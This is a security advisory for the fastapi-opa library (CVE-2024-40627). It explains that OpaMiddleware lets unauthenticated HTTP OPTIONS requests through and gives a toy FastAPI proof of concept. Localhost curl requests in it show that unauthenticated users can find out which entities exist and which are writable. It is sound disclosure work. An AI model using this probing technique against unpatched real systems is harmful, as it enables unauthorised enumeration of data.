Skip to content

OpaMiddleware does not filter HTTP OPTIONS requests

Moderate
busykoala published GHSA-5f5c-8rvc-j8wf Jul 15, 2024

Package

No package listed

Affected versions

<= 2.0.0

Patched versions

2.0.1

Description

Summary

HTTP OPTIONS requests are always allowed by OpaMiddleware, even when they lack authentication, and are passed through directly to the application.

I'm uncertain whether this should be classed as a "bug" or "security issue" – but I'm erring on the side of "security issue" as an application could reasonably assume OPA controls apply to all HTTP methods, and it bypasses more sophisticated policies.

I'll leave it to you to make a call. 😄

Details

OpaMiddleware allows all HTTP OPTIONS requests without evaluating it against any policy:

if request.method == "OPTIONS":
return await self.app(scope, receive, send)

If an application provides different responses to HTTP OPTIONS requests based on an entity existing (such as to indicate whether an entity is writable on a system level), an unauthenticated attacker could discover which entities exist within an application (CWE-204).

PoC

This toy application is based on the behaviour of an app1 which can use fastapi-opa. The app uses the Allow header of a HTTP OPTIONS to indicate whether an entity is writable on a "system" level, and returns HTTP 404 for unknown entities:

# Run with: fastapi dev opa-poc.py --port 9999
from fastapi import FastAPI, Response, HTTPException
from fastapi_opa import OPAConfig, OPAMiddleware
from fastapi_opa.auth.auth_api_key import APIKeyAuthentication, APIKeyConfig

# OPA doesn't actually need to be running for this example
opa_host = "http://localhost:8181"
api_key_config = APIKeyConfig(
    header_key = 'ApiKey',
    api_key = 'secret-key',
)
api_key_auth = APIKeyAuthentication(api_key_config)
opa_config = OPAConfig(authentication=api_key_auth, opa_host=opa_host)

app = FastAPI()
app.add_middleware(OPAMiddleware, config=opa_config)

WRITABLE_ITEMS = {
    1: True,
    2: False,
}


@app.get("/")
async def root() -> dict:
    return {"msg": "success"}

@app.get("/items/{item_id}")
async def read_item(item_id: int):
    if item_id not in WRITABLE_ITEMS:
        raise HTTPException(status_code=404)
    return {"item_id": item_id}

@app.options("/items/{item_id}")
async def read_item_options(response: Response, item_id: int) -> dict:
    if item_id not in WRITABLE_ITEMS:
        raise HTTPException(status_code=404)

    response.headers["Allow"] = "OPTIONS, GET" + (", POST" if WRITABLE_ITEMS[item_id] else "")
    return {}

As expected, HTTP GET requests fail consistently when unauthenticated, regardless of whether the entity exists, because read_item() is never executed:

$ curl -i 'http://localhost:9999/items/1'
HTTP/1.1 401 Unauthorized
server: uvicorn
content-length: 26
content-type: application/json

{"message":"Unauthorized"}

$ curl -i 'http://localhost:9999/items/3'
HTTP/1.1 401 Unauthorized
server: uvicorn
content-length: 26
content-type: application/json

{"message":"Unauthorized"}

However, HTTP OPTIONS requests are never authenticated by OpaMiddleware, so are passed straight through to read_item_options() and returned to unauthenticated users:

$ curl -i -X OPTIONS 'http://localhost:9999/items/1'
HTTP/1.1 200 OK
server: uvicorn
content-length: 2
content-type: application/json
allow: OPTIONS, GET, POST

{}

$ curl -i -X OPTIONS 'http://localhost:9999/items/2'
HTTP/1.1 200 OK
server: uvicorn
content-length: 2
content-type: application/json
allow: OPTIONS, GET

{}

$ curl -i -X OPTIONS 'http://localhost:9999/items/3'
HTTP/1.1 404 Not Found
server: uvicorn
content-length: 22
content-type: application/json

{"detail":"Not Found"}

Versions

fastapi-opa==2.0.0
fastapi==0.111.0

Footnotes

  1. an open source app, not written by me

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE ID

CVE-2024-40627

Weaknesses

Credits